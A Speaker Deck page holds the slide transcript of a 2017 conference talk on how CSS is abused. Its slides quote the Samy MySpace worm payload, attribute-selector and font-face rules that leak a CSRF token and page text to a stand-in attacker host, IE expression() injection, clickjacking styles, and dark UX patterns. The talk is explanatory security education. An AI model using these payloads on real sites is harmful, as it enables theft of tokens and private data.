Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2
1.4k
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
160
The Tail and Its Dog
stephenhay
1
300
From Deception to Clarity
stephenhay
4
630
Sculpting Text
stephenhay
4
890
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
510
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
550
Flexbox: One Giant Leap for Web Layout
stephenhay
6
400
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
930
Flexbox: One Giant Leap for Web Layout
stephenhay
5
160
Other Decks in Design
See All in Design
誰もがAIエージェントを"操作"したがる〜AIエージェントに求められるUX〜
ikeyatsu
2
740
LLMによるRAG評価用合成テストデータの生成
licux
6
700
【Adobe MAX Japan 2025】上手にFireflyにお願いしてウェブデザイン案を出すぞ!
cremacrema
5
4k
HCDフォーラム2024 「HCDとHAI ~人間とAIが共存する世界の実現~」
kamechi7222222
0
300
太田博三(@usagisan2020)
otanet
0
230
20241019-CUD友の会「困った!を解決するデザイン改訂版」交流会
majimasachi
0
330
政策広報実践講座_講演資料ダイジェスト2
capitolthink
0
130
成長する組織のナレッジベースのつくりかた_知識基盤のデザインとメタデザイン
gaussbeam
0
890
Goodpatch Tour💙 / We are hiring!
goodpatch
31
800k
Fem tips om ux-text • WSA-dagen 29 jan 2025
jonas_blind_hen
PRO
0
130
藤本佳子・ポートフォリオ・2025/01
yoshi_designer
0
3.6k
ネーミングの極意 - その名は体を現していますか? -
kakukoki
2
480
Featured
See All Featured
Music & Morning Musume
bryan
46
6.4k
The Invisible Side of Design
smashingmag
299
50k
Visualization
eitanlees
146
15k
The Psychology of Web Performance [Beyond Tellerrand 2023]
tammyeverts
46
2.3k
Fashionably flexible responsive web design (full day workshop)
malarkey
406
66k
Facilitating Awesome Meetings
lara
52
6.2k
Optimizing for Happiness
mojombo
376
70k
Unsuck your backbone
ammeep
669
57k
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
507
140k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
27
1.9k
Performance Is Good for Brains [We Love Speed 2024]
tammyeverts
7
640
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
280
13k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens